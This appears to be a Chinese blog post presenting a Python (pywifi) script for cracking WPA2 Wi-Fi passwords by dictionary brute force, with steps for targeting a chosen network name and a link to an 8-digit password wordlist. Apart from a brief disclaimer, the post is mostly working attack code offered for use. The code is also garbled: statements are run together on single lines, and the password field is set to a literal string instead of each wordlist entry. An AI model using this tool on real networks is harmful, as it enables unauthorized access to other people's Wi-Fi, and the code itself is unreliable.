几天的python破解wifi 终于成功了 内涵8位数字密码本 详细使用方法全在文章内"/>
研究好几天的python破解wifi 终于成功了 内涵8位数字密码本 详细使用方法全在文章内
首先把代码给大家
# !/usr/bin/python3
# -*- coding: UTF-8 -*-
# author MCtongxin
import pywifi
import time
from pywifi import const
#测试链接 返回链接结果
def wificonnect(password):#抓取网卡接口wifi = pywifi.PyWiFi()#获取第一个网卡ifaces = wifi.interfaces()[0]#断开所有无线连接ifaces.disconnect()time.sleep(1)wifistatus = ifaces.status()if wifistatus == const.IFACE_DISCONNECTED:print("正在尝试:")#创建wifi连接文件profile = pywifi.Profile()profile.ssid ="wifi名称"profile.auth = const.AUTH_ALG_OPEN#加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher = const.CIPHER_TYPE_CCMP#测试密码profile.key = "password"#删除所有wifi文件ifaces.remove_all_network_profiles()#设定新的链接文件tep_profile = ifaces.add_network_profile(profile)#用新的连接 测试链接ifaces.connect(tep_profile)#连接时间time.sleep(60)if ifaces.status() == const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已连接")def readpassword():print("开始破解")path = "C:\\Users\81920\Desktop\桌面\python项目\破解wifi\pass.txt"file = open(path,"r")while True:try:passStr = file.readline()bool = wificonnect(passStr)if bool:print("密码正确",passStr)breakelse:print("密码错误",passStr)except:#跳出当前循环直接进行下次循环continue
readpassword()
使用方法
- 在 profile.ssid =“wifi名称” 这一行 把引号内的内容换成想要连接的名称
- path = "C:\Users\81920\Desktop\桌面\python项目\破解wifi\pass.txt"将这一行代码换成 附带的txt文件的路径
- txt密码本连接
提取码:aoue
注意事项:
不可用于盗窃,非法交易等用途 发成事故与本人无关
更多推荐
研究好几天的python破解wifi 终于成功了 内涵8位数字密码本 详细使用方法全在文章内
发布评论